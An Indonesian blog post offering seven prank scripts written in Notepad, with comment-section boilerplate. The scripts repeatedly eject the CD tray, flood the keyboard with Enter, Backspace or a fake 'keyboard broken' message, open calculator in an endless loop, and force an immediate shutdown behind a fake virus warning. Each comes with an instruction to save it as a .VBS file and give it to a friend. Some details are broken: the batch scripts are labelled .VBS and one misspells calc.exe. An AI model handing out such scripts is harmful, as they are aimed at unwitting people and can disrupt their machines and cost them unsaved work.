ISENG BERMODAL NOTPAD

Jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan yang stup*d.. Hehe.. Wkwk.. Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad.

1. Iseng Mengeject CD-Drive Terus Menerus

Set oWMP = CreateObject(“WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


2. Iseng Dengan Tombol Enter Terus Menerus


Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)” loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”


WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 100 WshShell.AppActivate “Notepad” WScript.Sleep 500 WshShell.SendKeys “Hel” WScript.Sleep 500 WshShell.SendKeys “lo ” WScript.Sleep 500 WshShell.SendKeys “, ho” WScript.Sleep 500 WshShell.SendKeys “w a” WScript.Sleep 500 WshShell.SendKeys “re ” WScript.Sleep 500 WshShell.SendKeys “you” WScript.Sleep 500 WshShell.SendKeys “? ” WScript.Sleep 500 WshShell.SendKeys “I a” WScript.Sleep 500 WshShell.SendKeys “m g” WScript.Sleep 500 WshShell.SendKeys “ood” WScript.Sleep 500 WshShell.SendKeys ” th” WScript.Sleep 500 WshShell.SendKeys “ank” WScript.Sleep 500 WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


4. Iseng Dengan Backspace


MsgBox “Maaf, Anda Harus Mengulang Kembali” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}” loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


5. Iseng Dengan Membuka Calculator Terus Menerus


@ECHO off :top START %SystemRoot%\system32\cacl.exe GOTO top

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


6. Iseng Dengan Keyboard


Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki” loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda


7. Iseng Dengan Shutdown Computer


@echo off msg * Komputer Anda Terinfeksi Virus shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda



Silahkan Dikembangkan Sendiri Ide Ide Yang Lainnya,.. Semoga Bermanfaat..



2 thoughts on “ISENG BERMODAL NOTPAD

  1. Pingback: Putrawarog's Blog

  2. masnya jago VB yaa….. saya tanya mas itu yang paling atas “Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    ” buat apa mas???, WMPlayer tu media player window yaa

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s